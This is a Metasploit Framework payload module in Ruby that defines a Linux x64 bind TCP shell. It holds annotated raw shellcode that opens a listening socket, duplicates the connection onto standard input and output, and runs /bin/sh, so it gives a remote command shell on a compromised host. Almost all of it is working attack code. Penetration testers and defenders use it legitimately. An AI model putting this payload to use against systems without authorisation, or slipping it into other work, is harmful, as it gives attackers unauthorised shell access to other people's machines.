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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 86
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  include Msf::Payload::Single
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  include Msf::Payload::Linux::X64::Prepends
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Linux Command Shell, Bind TCP Inline',
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        'Description' => 'Listen for a connection and spawn a command shell',
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        'Author' => 'ricky',
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        'License' => MSF_LICENSE,
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        'Platform' => 'linux',
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        'Arch' => ARCH_X64,
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        'Handler' => Msf::Handler::BindTcp,
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        'Session' => Msf::Sessions::CommandShellUnix,
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        'Payload' => {
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          'Offsets' =>
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                  {
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                    'LPORT' => [ 20, 'n' ]
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                  },
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          'Payload' =>
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                       "\x6a\x29" + # pushq  $0x29
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                       "\x58" + # pop    %rax
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                       "\x99" + # cltd
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                       "\x6a\x02" + # pushq  $0x2
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                       "\x5f" + # pop    %rdi
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                       "\x6a\x01" + # pushq  $0x1
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                       "\x5e" + # pop    %rsi
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                       "\x0f\x05" + # syscall
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                       "\x48\x97" + # xchg   %rax,%rdi
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                       "\x52" + # push   %rdx
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                       "\xc7\x04\x24\x02\x00" + # movl   $0xb3150002,(%rsp)
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                       "\x15\xb3" \
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                       "\x48\x89\xe6" + # mov    %rsp,%rsi
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                       "\x6a\x10" + # pushq  $0x10
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                       "\x5a" + # pop    %rdx
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                       "\x6a\x31" + # pushq  $0x31
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                       "\x58" + # pop    %rax
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                       "\x0f\x05" + # syscall
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                       "\x6a\x32" + # pushq  $0x32
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                       "\x58" + # pop    %rax
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                       "\x0f\x05" + # syscall
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                       "\x48\x31\xf6" + # xor    %rsi,%rsi
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                       "\x6a\x2b" + # pushq  $0x2b
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                       "\x58" + # pop    %rax
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                       "\x0f\x05" + # syscall
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                       "\x48\x97" + # xchg   %rax,%rdi
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                       "\x6a\x03" + # pushq  $0x3
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                       "\x5e" + # pop    %rsi
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                       "\x48\xff\xce" + # dec    %rsi
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                       "\x6a\x21" + # pushq  $0x21
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                       "\x58" + # pop    %rax
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                       "\x0f\x05" + # syscall
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                       "\x75\xf6" + # jne    33 <dup2_loop>
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                       "\x6a\x3b" + # pushq  $0x3b
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                       "\x58" + # pop    %rax
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                       "\x99" + # cltd
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                       "\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
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                       "\x73\x68\x00" \
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                       "\x53" + # push   %rbx
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                       "\x48\x89\xe7" + # mov    %rsp,%rdi
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                       "\x52" + # push   %rdx
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                       "\x57" + # push   %rdi
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                       "\x48\x89\xe6" + # mov    %rsp,%rsi
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                       "\x0f\x05" # syscall
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        }
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      )
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    )
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  end
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end
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